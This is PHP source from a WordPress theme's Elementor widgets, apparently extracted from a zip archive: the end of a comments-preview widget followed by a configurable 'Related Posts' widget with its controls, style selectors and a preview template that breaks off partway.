                            qui in ea voluptate velit esse quam nihil.</p>
                    </div>
                    <span class="reply">
                        <a rel="nofollow" class="comment-reply-link" href="#?replytocom=63#respond" data-commentid="63" data-postid="243" data-belowelement="comment-63" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
                </div>
            </div>
        </div><!-- #comment-## -->
    </div><!-- #comment-## -->
    <div class="comment byuser comment-author-admin even thread-odd thread-alt depth-1" id="comment-64" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
        <meta itemprop="discusses" content="Green Corner in My Home">
        <link itemprop="url" href="#comment-64">
        <div class="thecomment">
            <div class="author-img">
                <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
            <div class="comment-text">
                <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                <span class="date" datetime="2017-07-19T03:56:10+00:00" title="Wednesday, July 19, 2017, 3:56 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:56 am</span>
                <div class="comment-content" itemprop="commentText">
                    <p>Et harum quidem rerum facilis est et
                        expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque
                        nihil impedit quo minus id quod maxime placeat facere.</p>
                </div>
                <span class="reply">
                    <a rel="nofollow" class="comment-reply-link" href="#?replytocom=64#respond" data-commentid="64" data-postid="243" data-belowelement="comment-64" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
            </div>
        </div>
    </div><!-- #comment-## -->
</div>';
		$class        = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
		echo '<div class="pc-cscomments ' . $class . '">';
		echo '<div id="comments" class="post-comments penci-comments-hide-' . $hide_count . '">';
		if ( $settings['penci_post_move_comment_box'] ) {
			echo $comment_form . $comment_list;
		} else {
			echo $comment_list . $comment_form;
		}
		echo '</div></div>';
	}

	protected function builder_content() {
		$settings = $this->get_settings();
		$mods     = [
			'penci_single_gdpr_text',
			'penci_single_gdpr',
			'penci_single_hide_save_fields',
			'penci_post_move_comment_box',
			'penci_single_comments_remove_name',
			'penci_single_comments_remove_email',
			'penci_single_comments_remove_website'
		];
		foreach ( $mods as $mod ) {
			$value = $settings[ $mod ];
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
		$class = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
		echo '<div class="pc-cscomments ' . $class . '">';
		comments_template();
		echo '</div>';
	}
}
PK     2w\C-     0  template-builder/single-elements/relatedpost.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleRelatedpost extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-related-posts';
	}

	public function get_title() {
		return esc_html__( 'Post - Related Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-posts-grid';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'post', 'related' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			]
		);

        $this->add_control(
			'penci_post_related_text',
			[
				'label' => esc_html__( 'Related Heading Text', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::TEXT,
				'default'  => penci_get_setting('penci_post_related_text'),
			]
		);

        $this->add_control(
			'penci_hide_heading',
			[
				'label' => esc_html__( 'Use Custom Heading Style?', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_autoplay',
			[
				'label' => esc_html__( 'Related Posts Carousel Auto Play', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_numbers_related_post',
			[
				'label' => esc_html__( 'Number of Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::NUMBER,
				 'default' => 4,
			]
		);

		$this->add_control(
			'penci_related_style',
			[
				'label'   => esc_html__( 'Related Posts Style', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'style-1',
				'options' => [
					'style-1' => 'Style 1',
					'style-2' => 'Style 2',
					'style-3' => 'Style 3',
					'style-4' => 'Style 4',
					'style-5' => 'Style 5',
					'style-5' => 'Style 6',
				]
			]
		);

		$this->add_control(
			'penci_related_orderby',
			[
				'label'   => esc_html__( 'Order Related Posts By', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'date',
				'options' => [
					'rand'          => 'Random Posts',
					'date'          => 'Published Date',
					'ID'            => 'Post ID',
					'modified'      => 'Modified Date',
					'title'         => 'Post Title',
					'comment_count' => 'Comment Count',
					'popular'       => 'Most Viewed Posts All Time',
					'popular_day'   => 'Most Viewed Posts Daily',
					'popular7'      => 'Most Viewed Posts Once Weekly',
					'popular_month' => 'Most Viewed Posts Once a Month',
				]
			]
		);

		$this->add_control(
			'penci_related_sort_order',
			[
				'label'   => esc_html__( 'Sort Order Related Posts', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'DESC',
				'options' => [
					'DESC' => 'Descending',
					'ASC'  => 'Ascending '
				]
			]
		);

		$this->add_control(
			'penci_related_posts_title_length',
			[
				'label' => esc_html__( 'Title Length', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'penci_related_by',
			[
				'label'   => esc_html__( 'Related Posts By', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
                'default' => 'categories',
				'options' => array(
					'categories'  => 'Categories',
					'tags'        => 'Tags',
					'primary_cat' => 'Primary Category from "Yoast SEO" or "Rank Math" plugin'
				)
			]
		);

		$this->add_control(
			'penci_post_related_grid',
			[
				'label' => esc_html__( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_dots',
			[
				'label' => esc_html__( 'Hide Dots On Carousel Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_arrows',
			[
				'label' => esc_html__( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_icons',
			[
				'label' => esc_html__( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_hide_date_related',
			[
				'label' => esc_html__( 'Hide Post Date on Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();

        // heading
		$this->start_controls_section( 'section_title_block', array(
			'label'     => __( 'Heading Title', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_hide_heading' => 'yes' ]
		) );
		$this->add_control( 'hide_block_heading', array(
			'label' => __( 'Hide Heading Title', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HIDDEN,
		) );
		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => __( 'Style 21', 'soledad' ),
				'style-22'          => __( 'Style 22', 'soledad' ),
				'style-23'          => __( 'Style 23', 'soledad' ),
				'style-24'          => __( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::HIDDEN,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );
		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''               => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
				'pcalign-center' => esc_html__( 'Center', 'soledad' ),
				'pcalign-right'  => esc_html__( 'Right', 'soledad' )
			)
		) );
		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->end_controls_section();
		// endheading

		$this->start_controls_section(
			'color_style',
			[
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			]
		);

        $this->add_control( 'heading_align', [
			'label'   => __( 'Content Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'center',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
			'selectors' => ['{{WRAPPER}} .item-related' =>'text-align:{{VALUE}}']
		] );

        $this->add_responsive_control(
			'post_thumbnail_ratio',
			[
				'label' => 'Post Thumbnail Ratio',
				'type'  => \Elementor\Controls_Manager::SLIDER,
                'range' => [
					'px' => [
						'min' => 0,
						'max' => 300,
					],
				],
				'selectors' => [
					'{{WRAPPER }} .penci-image-holder::before' => 'padding-top: {{SIZE}}%',
				],
			]
		);

        $this->add_responsive_control(
			'post_thumbnail_spacing',
			[
				'label' => 'Spacing Between Thumbnail & Title',
				'type'  => \Elementor\Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER }} .item-related > a' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

        $this->add_responsive_control(
			'post_header_spacing',
			[
				'label' => 'Spacing Between Post Title & Meta',
				'type'  => \Elementor\Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER }} .item-related span.date' => 'margin-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'post_heading_settings',
			[
				'label' => 'Heading Title',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_title_typo',
				'label'    => __( 'Typography for Heading Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-title-box h4',
			)
		);

		$this->add_control(
			'heading_title_color',
			[
				'label'     => 'Heading Title Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-title-box h4' => 'color:{{VALUE}}' ],
			]
		);

        $this->add_control(
			'heading_title_border',
			[
				'label'     => 'Heading Title Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-title-box h4:before,{{WRAPPER}} .post-title-box h4:after' => 'background-color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_title_settings',
			[
				'label' => 'Post Title',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'post_title_typo',
				'label'    => __( 'Typography for Post Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-related .item-related > h3 a',
			)
		);

		$this->add_control(
			'post_title_color',
			[
				'label'     => 'Post Title Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related > h3 a' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_title_hcolor',
			[
				'label'     => 'Post Title Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related > h3 a:hover' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_date_settings',
			[
				'label' => 'Post Date',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'post_date_typo',
				'label'    => __( 'Typography for Post Date', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-related .item-related .date',
			)
		);

		$this->add_control(
			'post_date_color',
			[
				'label'     => 'Post Date Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related .date' => 'color:{{VALUE}}' ],
			]
		);

		$this->end_controls_section();

        /* custom heading style*/
		$this->start_controls_section( 'section_title_block_style', array(
			'label'     => __( 'Block Heading Title', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'penci_hide_heading' => 'yes' ]
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                   => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-pupular-posts-title, {{WRAPPER}} .home-pupular-posts-title a' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover' => 'color: {{VALUE}} !important;',
				'{{WRAPPER}} .home-pupular-posts-title a:hover'        => 'color: {{VALUE}} !important;',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
				'{{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                       => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                => 'border-top-color: {{VALUE}}',
			)
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Borders Outer Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}}  .penci-border-arrow:after' => 'border-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Borders Top', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );

		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Borders Bottom', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Small Borders Bottom on Style 7 & 8', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-9' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Color for Shapes', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12' ) ),
		) );

		$this->add_control( 'btitle_inshapes_color', array(
			'label'     => __( 'Background Color for Shapes Inside', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before' => ' border-right-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-11' ) ),
		) );

		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'iconstyle15_size', array(
			'label'       => __( 'Custom Font Size for Icon', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SLIDER,
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'font-size: {{SIZE}}px;',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Styles 18, 19, 20', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}}; background-image: linear-gradient( -45deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-19.penci-border-arrow:after' => 'background-image: linear-gradient( -90deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-20.penci-border-arrow:after' => 'background-image: linear-gradient( 0deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );

		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                                                                                => 'border-color: transparent;border-top-color: {{VALUE}};',
				'{{WRAPPER}} .style-14 .inner-arrow:before,{{WRAPPER}} .style-11 .inner-arrow,' . '{{WRAPPER}} .style-12 .inner-arrow,{{WRAPPER}} .style-13 .inner-arrow,{{WRAPPER}} .style-15 .inner-arrow,' . '{{WRAPPER}} .penci-border-arrow .inner-arrow' => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after' => 'background-color: {{VALUE}};'
			)
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'     => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::MEDIA,
			//'dynamic'     => array( 'active' => true ),
			//'responsive'  => true,
			//'render_type' => 'template',
			'default'   => array( 'id' => '', 'url' => '' ),
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition' => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_control( 'btitle_style9_repeat', array(
			'label'     => esc_html__( 'Background Image Repeat', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'no-repeat' => esc_html__( 'No Repeat', 'soledad' ),
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'repeat-x'  => esc_html__( 'Repeat X', 'soledad' ),
				'repeat-y'  => esc_html__( 'Repeat Y', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'no-repeat',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-repeat: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_size', array(
			'label'     => esc_html__( 'Background Image Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'auto 100%' => esc_html__( 'With Auto - Height 100%', 'soledad' ),
				'100% auto' => esc_html__( 'Width 100% - Height Auto', 'soledad' ),
				'cover'     => esc_html__( 'Cover', 'soledad' ),
				'contain'   => esc_html__( 'Contain', 'soledad' ),
				'auto'      => esc_html__( 'Orininal Size', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'auto 100%',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-size: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_pos', array(
			'label'     => esc_html__( 'Background Image Position', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'left top'      => esc_html__( 'Left Top', 'soledad' ),
				'left center'   => esc_html__( 'Left Center', 'soledad' ),
				'left bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right top'     => esc_html__( 'Right Top', 'soledad' ),
				'right center'  => esc_html__( 'Right Center', 'soledad' ),
				'right bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center top'    => esc_html__( 'Center Top', 'soledad' ),
				'center center' => esc_html__( 'Center', 'soledad' ),
				'center bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'left top',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-position: {{VALUE}};' ),
		) );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow',
		) );
		$this->end_controls_section();
		/* end custom heading*/

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
        $settings = $this->get_settings();
		$data_auto = 'true';
        $auto      = $settings[ 'penci_post_related_autoplay' ];
        $related_style = $settings['penci_related_style'];
        if ( $auto == false ) {
            $data_auto = 'false';
        }
        $numbers_related = $settings[ 'penci_numbers_related_post' ];
        if ( ! isset( $numbers_related ) || $numbers_related < 1 ) {
            $numbers_related = 10;
        }
        $related_title_length = $settings[ 'penci_related_posts_title_length' ] ? $settings[ 'penci_related_posts_title_length' ] : 8;
        $data_loop            = '';
        $settings['heading'] = $settings['penci_post_related_text'];
        if ( $settings['penci_hide_heading'] == 'yes' ) {
			$this->markup_block_title( $settings );
		}
?>
<div class="pcrlt-<?php echo $related_style; ?> post-related<?php if ( $settings[ 'penci_post_related_grid' ] ): echo ' penci-posts-related-grid'; endif; ?>">
<?php if ($settings[ 'penci_post_related_text' ] && $settings['penci_hide_heading'] != 'yes' ): ?>
    <div class="post-title-box"><h4
                class="post-box-title"><?php echo $settings[ 'penci_post_related_text' ]; ?></h4></div>
                <?php endif;?>
	<?php if ( ! $settings[ 'penci_post_related_grid' ]) {
	$dcol_slides = $related_style == 'style-4' ? 2 : 3;
	$mcol_slides = $related_style == 'style-4' ? 1 : 2;
	$lazy_class = 'penci-lazy'; ?>
    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel"
         data-lazy="true"<?php echo $data_loop; ?> data-item="<?php echo $dcol_slides;?>" data-desktop="<?php echo $dcol_slides;?>" data-tablet="<?php echo $mcol_slides;?>" data-tabsmall="<?php echo $mcol_slides;?>"
         data-auto="<?php echo $data_auto; ?>"
         data-speed="300"<?php if ( ! $settings[ 'penci_post_related_dots' ] ) {
		echo ' data-dots="true"';
	}
	if ( ! $settings[ 'penci_post_related_arrows' ] ) {
		echo ' data-nav="false"';
	} ?>>
	<div class="swiper-wrapper">
		<?php } else {
		$lazy_class = 'penci-lazy'; ?>
        <div class="penci-related-carousel penci-related-grid-display">
			<?php } ?>
			<?php for ($i=1;$i<$numbers_related;$i++): ?>
                <div class="item-related swiper-slide">
                	<div class="item-related-inner">
                		<?php 
                    	if ( 'style-2' == $related_style ) {
                    		echo '<a style="" class="penci-cat-name" href="#" rel="category tag"><span style="">Category Name</span></a>';
                    	}
                    	?>
